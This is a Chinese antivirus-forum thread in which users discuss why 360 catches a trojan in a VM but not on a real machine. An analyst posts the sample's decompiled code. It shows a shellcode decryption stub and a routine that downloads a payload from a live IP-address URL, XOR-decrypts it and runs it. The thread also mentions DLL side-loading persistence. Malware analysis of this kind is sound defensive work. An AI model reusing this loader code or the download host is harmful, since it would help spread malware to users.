实体机的360和虚拟机的360防护水平不一样吗？

取名字难

一个木马虚拟机里360干掉了，实体机里双击直接杀不了（虽然下载防护有提示木马）

mifanu

是病毒的水平不一样，在虚拟机里发挥不出来。
在虚拟机里是被病毒库识别，但并未实施病毒行为，属于按名单抓人，束手就逮。
到了实体机里才施展破坏。

wowocock

mifanu 发表于 2024-3-6 15:38
是病毒的水平不一样，在虚拟机里发挥不出来。
在虚拟机里是被病毒库识别，但并未实施病毒行为，属于按名单 ...

把样本发上来看看。

取名字难

wowocock 发表于 2024-3-6 17:08
把样本发上来看看。

私信你了，帮我看看360能不能清除衍生物

wowocock

取名字难 发表于 2024-3-6 18:31
私信你了，帮我看看360能不能清除衍生物

运行时，解密SHELLCODE运行
int sub_401000()
{
  int v0; // edx
  unsigned int v1; // ecx
  bool v2; // zf
  unsigned int v3; // eax
  unsigned int i; // eax
  int v5; // edx
  DWORD flOldProtect; // [esp+0h] [ebp-8h] BYREF

  VirtualProtect(byte_4031D0, 0x7E1u, 0x40u, &flOldProtect);
  v0 = 0;
  v1 = 0;
  do
  {
    v2 = v0++ == -1;
    v3 = v1 + 1;
    if ( !v2 )
      v3 = v1;
    v1 = v3;
  }
  while ( v3 < 3 );
  for ( i = 0; i < 0x7C1; ++i )
  {
    v5 = i & 0x1F;
    byte_4031F0 ^= byte_4031D0[v5];
    byte_4031F0 = (byte_4031F0 + byte_4031D0[v5]) ^ 0x7A;
  }
  return (*(int (**)(void))byte_4031F0)();
}
然后从网上下载SHELLCODE解密运行，不过这下不下来。按理这种都能处理，你那如果有衍生物处理不了，也发给我看看。
int __cdecl sub_6AB(int a1)
{
  char v2[40]; // [esp+0h] [ebp-40h] BYREF
  int v3; // [esp+28h] [ebp-18h]
  int v4; // [esp+2Ch] [ebp-14h]
  int v5; // [esp+30h] [ebp-10h]
  int v6; // [esp+34h] [ebp-Ch]
  int v7; // [esp+38h] [ebp-8h]
  unsigned int i; // [esp+3Ch] [ebp-4h]

  strcpy(v2, "http://206.119.117.223/1675560600.jpg");
  v5 = 0x2E266;
  v6 = 0;
  while ( !v6 )
  {
    v6 = sub_59C((int)v2, v5, a1);
    (*(void (__stdcall **)(int))(a1 + 8))(500);
  }
  v7 = v6 + 30822;
  for ( i = 0; i < 0x26A00; ++i )
  {
    *(_BYTE *)(i + v7) ^= 0x58u;
    *(_BYTE *)(i + v7) -= 66;
  }
  v4 = v6 + 0x8816;
  v3 = v6 + 0x8816;
  return ((int (__stdcall *)(_DWORD))(v6 + 0x8816))(0);
}

wowocock

在实体机里测了下，会生成白利用木马，因为没拉黑，可能导致杀不掉，你删除下注册表里的该项即可。

取名字难

wowocock 发表于 2024-3-7 17:16
在实体机里测了下，会生成白利用木马，因为没拉黑，可能导致杀不掉，你删除下注册表里的该项即可。

好的谢谢，不过为什么虚拟机能拦截实体机里拦截不了啊，虚拟机里双击直接跳木马提示干掉本体，实体机开了网购模式都没拦截。电脑联网了的

取名字难

wowocock 发表于 2024-3-7 17:16
在实体机里测了下，会生成白利用木马，因为没拉黑，可能导致杀不掉，你删除下注册表里的该项即可。

按理说网购模式应该会阻止的啊。

wowocock

取名字难 发表于 2024-3-7 18:30
按理说网购模式应该会阻止的啊。

都是白利用，网购模式没用。虚拟机拦截的弹窗发图看看。

取名字难

wowocock 发表于 2024-3-8 09:39
都是白利用，网购模式没用。虚拟机拦截的弹窗发图看看。

没截图，弹木马弹窗txxxx.gxxxx.gxxxx这样的报毒名